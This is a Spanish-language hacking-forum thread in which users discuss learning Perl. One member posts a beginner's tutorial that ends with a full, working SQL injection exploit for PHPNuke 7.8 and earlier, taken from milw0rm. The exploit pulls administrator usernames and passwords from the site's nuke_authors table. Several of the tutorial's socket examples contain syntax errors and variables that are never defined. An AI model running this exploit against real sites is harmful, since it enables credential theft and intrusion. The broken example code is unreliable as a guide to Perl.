elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
12 Octubre 2008, 18:37  



+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Scripting
| | | |-+  aprender perl
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: aprender perl  (Leído 499 veces)
netscape

Desconectado Desconectado

Mensajes: 20


Ver Perfil
aprender perl
« en: 21 Octubre 2007, 18:10 »

hola, me gustaria aprender a programar en perl me podríais decir algun tutorial que estuviese bien sobre perl?

Salu2
En línea
lll_swamp_lll

Desconectado Desconectado

Mensajes: 79



Ver Perfil
Re: aprender perl
« Respuesta #1 en: 22 Octubre 2007, 17:32 »

Yo también quiero aprender bién a programar en perl... Cada cosa que pueda ir aprendiendo voy a postearlo acá.

estuve en otros foro de perl como http://perlenespanol.baboonsoftware.com/foro/ mientras que alguien se anime junto a mi a aprender y enseñar lo que uno sabe. De todas formas no se ve tan dificil :P es muy muy similar a C y php.
En línea

netscape

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: aprender perl
« Respuesta #2 en: 22 Octubre 2007, 22:23 »

|||_swamp_||| gracias por la info, yo también estoy recien iniciandome en este lenguaje y según tengo entendido se pueden crear algoritmos de encriptación, scanners, inyectores de paquetes y exploits osea bastante potente para ser un lenguaje de scripting.

Si encuentro algun tutorial bueno lo subiré.

Saludos!!
En línea
^TiFa^

Desconectado Desconectado

Mensajes: 673


Need a Love Loan? Borrow some from me :)


Ver Perfil
Re: aprender perl
« Respuesta #3 en: 27 Octubre 2007, 17:35 »

ME gusta Perl es cierto que es bastante facil, ahorita ando aprendiendo Perl con TK para hacer programas graficos.

Mis intenciones con Perl no son para crear exploits, ni cosas dañinas, mas bien lo quiero para crear CGI, sockets de conexión para chats de lan, y otras cosillas simples, creo que vale la pena, gracias por la info de la web.
En línea

http://chixmes.blogspot.com/

Si quieres saber el valor del dinero, trata de conseguirlo prestado. 

El que se enorgullece de sus conocimientos es como si estuviera ciego en plena luz.
- Benjamin Franklin.

ÂìmBòt

Desconectado Desconectado

Mensajes: 153


Wanna Be -Hacker-


Ver Perfil
Re: aprender perl
« Respuesta #4 en: 28 Octubre 2007, 06:01 »

yo tmb quiero aprender perl lo que mas pueda ya que eso me habre la puerta a C y seguir con otros lenguajes,, gracias por la pagina  ;)
En línea

WHK

Desconectado Desconectado

Mensajes: 835


+-=[Yan]=-+


Ver Perfil WWW
Re: aprender perl
« Respuesta #5 en: 28 Octubre 2007, 16:42 »

Estoy aprendiendo algunas cosas en Perl asi que les voy a explicar un poco de lo que hasta ahora he entendido.

Perl es un lenguaje interpretado el cual consiste en sun software llamado "PERL" existente tanto para Linux(por defecto) como para Windows(activeperl) que ejecuta directamente los scripts creados con extensión *.pl

Por ejemplo:
Linux= perl ./archivo.pl
Windows= c:\perl\perl.exe c:\archivo.pl

El que sepa programar en C o en PHP entonces le resultará muy facil poder aprender perl ya que ambos se basan en lenguaje C++ en su gran parte.

Para comenzar lo primero que haremos es descargar ActivePerl si estás en windows  Descarga y si usas Linux entonces ya viene incluido por defecto.

Ahora en Windows utilizaremos el block de notas o el UltraEdit (da igual), en Linux utilizaremos un editro de texto cualquiera como kwrite o gedit. Nunca utilizar Microsoft Word ni Open Office porque el formato de texto no es el mismo.

En el editor de textos vamos a crear nuestro primero primer script:

hola.pl
Código
print('hola');

Ahora lo guardamos como "hola.pl" y desde Linux ejecutamos perl ./hola.pl, desde Windows ejecutas C:\perl\perl.exe c:\hola.pl y en ambos casos verás en la pantalla la palabra "hola".

Al igual que en C y PHP puedes utilizar \n para continuar el texto un reglón mas abajo.

Ahora veremos algunas declaraciones básicas.

declaracion.pl
Código
my $nombre = 'WHK';
my $saludo = 'Hola '.$nombre.' como estas';
print($saludo);

Al ejecutarlo dirá: "Hola WHK como estas"

Si te fijas bién a diferencia de PHP acá tienes que anteponer my antes de cada declaración o hacerla antes de la siguiente manera:

declaracion.pl
Código
my ($nombre, $saludo);
$nombre = 'WHK';
$saludo = 'Hola '.$nombre.' como estas';
print($saludo);

De las dos formas da igual.

Ahora que ya sabemos escribir intentaremos usar algunas funciones como while:

while.pl
Código
my $i = 1;
my $fin = 10;
 
while ( $i <= $fin ) {
print ('*');
$i++;
}
 

Esto significa que escribirá el asterisco 10 veces. Puedes reemplazar print '*'; por tu código para que se repita todas las veces que sea necesario.

Puedes usar print de la siguiente manera:
Código
print ('hola');
print ("hola");
print 'hola';
print "hola";

Si por ejemplo necesito escribir las comillas entonces se hace igual que en PHP:
Código
print '<body bgcolor"black" text="red"><center><h2>hola</h2></center></body>';
print "<body bgcolor'black' text='red'><center><h2>hola</h2></center></body>";

Si te fijas bién imprimí comillas simples y doble comillas. Si escribo todo con comillas simples o con comillas dobles entonces dará error.

Ahora utilizaremos variables.

variable.pl
Código
$v1 = $ARGV[0];
$v2 = $ARGV[1];
print "Tu escribiste $0 $v1 $v2";
 

Ejecutamos perl ./variable.pl 10 30 o c:\perl\perl.exe c:\variable.pl 10 30
$0 significa el nombre del mismo archivo y v1, v2 son las variables. Puedes crear todas las que quieras.

Otro ejemplo:
variable2.pl
Código
$uno = $ARGV[0];
$dos = $ARGV[1];
$tres = $ARGV[2];
 
if (@ARGV < 2)
{
print "*=======================================*\n";
print "* EXPLOIT bla bla bla by WHK\n";
print "*=======================================*\n\n";
print " Uso : \n";
print " exploit.pl HOST /path/ \n\n";
print " Example :\n\n";
print " exploit.pl www.victim.com /ruta/ \n\n";
exit(1);
}
 
print $uno;
print $dos;
print $tres . "prueba\n\n";
exit(0);

if (@ARGV < 2) quiere decir que si no están escritas todas las variables entonces explicará su uso.

Ahora usaremos sockets  ;D no se asusten porque no es tan dificil.

sockets.pl
Código
use IO::Socket;
use threads;
 
$sock = IO::Socket::INET->new(PeerAddr => 'google.cl',
                             PeerPort => 'http('80')',
                             Proto    => 'tcp');
 
print $sock "Petición\r\n\r\n";
 
$send = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "[*] Connect [FAILED]\n";
 
print $send "POST ".$GET." HTTP/1.0\n";
print $send "Host: ".%HOST."\n";
print $send "User-Agent: Internet Explorer 6.0 [SR]\n";
print $send "Content-Type: application/x-www-form-urlencoded\n";
print $send "Content-Length: ".$length."\n\n";
print $send $query;
print $send "Cookie: lang=english\r\n\r\n";
print $send "Connection: close\n\n";

Como se ve acá estamos haciendo una petición GET al servidor de google al puerto 80 con el protocolo TCP.

También puedes usar variables en funciones de sockets:
ejemplo.pl
Código
#!/usr/bin/perl -w
use IO::Socket;
 
if (@ARGV < 2)
{
print "*---------------------------------------*\n";
print "* EXPLOIT for PHPNuke <=7.8 *\n";
print "*---------------------------------------*\n\n";
print " Usage : \n";
print " PHPNuke[1] HOST /[path_phpnuke] \n\n";
print " HOST - Host where is phpnuke example: localhost \n\n";
print " Example :\n\n";
print " PHPNuke[1] www.victim.com /phpnuke/html/ \n\n";
exit();
}
 
$HOST = $ARGV[0];
$phpnuke_path = $ARGV[1];
 
print "\n";
print "Host : $HOST\n";
print "phpnuke_path : $phpnuke_path\n";
print "\n";
$OK = 0;
$modules = "modules.php";
$query = "name=Search&query=s%')/**/UNION/**/SELECT/**/0,pwd,0,aid,0,0,0,0,0,0/**/FROM/**/nuke_authors/*";
$length = length $query;
$GET = $phpnuke_path . $modules;
print "[*] Connecting at victim host [OK]\n";
$send = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "[*] Connect [FAILED]\n";
print "[*] Connected [OK]\n";
print "[*] Sending exploit [OK]\n\n";
print $send "POST ".$GET." HTTP/1.0\n";
print $send "Host: ".%HOST."\n";
print $send "Referer: http://".%HOST.$phpnuke_path."modules.php?name=Search \r\n";
print $send "User-Agent: Internet Explorer 6.0 [SR]\n";
print $send "Content-Type: application/x-www-form-urlencoded\n";
print $send "Content-Length: ".$length."\n\n";
print $send $query;
print $send "Cookie: lang=english\r\n\r\n";
print $send "Connection: close\n\n";
 
print "[*] Exploit send [OK]\n";
print "[*] Wait for reply...[OK]\n";
while ($answer = <$send>)
{
if ($answer =~ /=0"><b>([^:]*)<\/b>/ ) {
$OK = 1;
print "[*] Success [OK]\n";
print "[*] USER: $1\n";
}
if ($answer =~ /=\"0">([^:]*)<\/a>/ ) {
$OK = 1;
print "[*] PASSWORD: $1\n";
}
}
if ($OK == 0) { print "[*] Exploit [FAILED]\n"; }
 
# milw0rm.com [2005-11-16]

Este es un exploit real que bajé desde milw0rm.

Con un poco de imaginación es posible hacer muchas cosas... se que existen maneras de crear procesos y sub procesos con fork , además de controlar paquetes tcp con rawpackets imitando un spoofing ip entre muchas otras cosas.
« Última modificación: 28 Octubre 2007, 16:48 por WHK » En línea

-The Hacktivism is not a crimen.
- Dios nos hace libres en el mundo real y el Hacking nos hace libres en el mundo de la informática.
- Richard Stallman: "GNU (GNU No es Unix)".
- Mi web: https://sourceforge.net/projects/whkfilemanager/ - http://www.jccharry.com/ (Actualizando)
- Cracking al 100% http://solid.jccharry.com/
netscape

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: aprender perl
« Respuesta #6 en: 29 Octubre 2007, 14:26 »

Wow, WHK que minitutorial te has currado!, esta bastante bien.

P.D: Haber si te curras un tuto de perl completo ;D  :P.
En línea
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats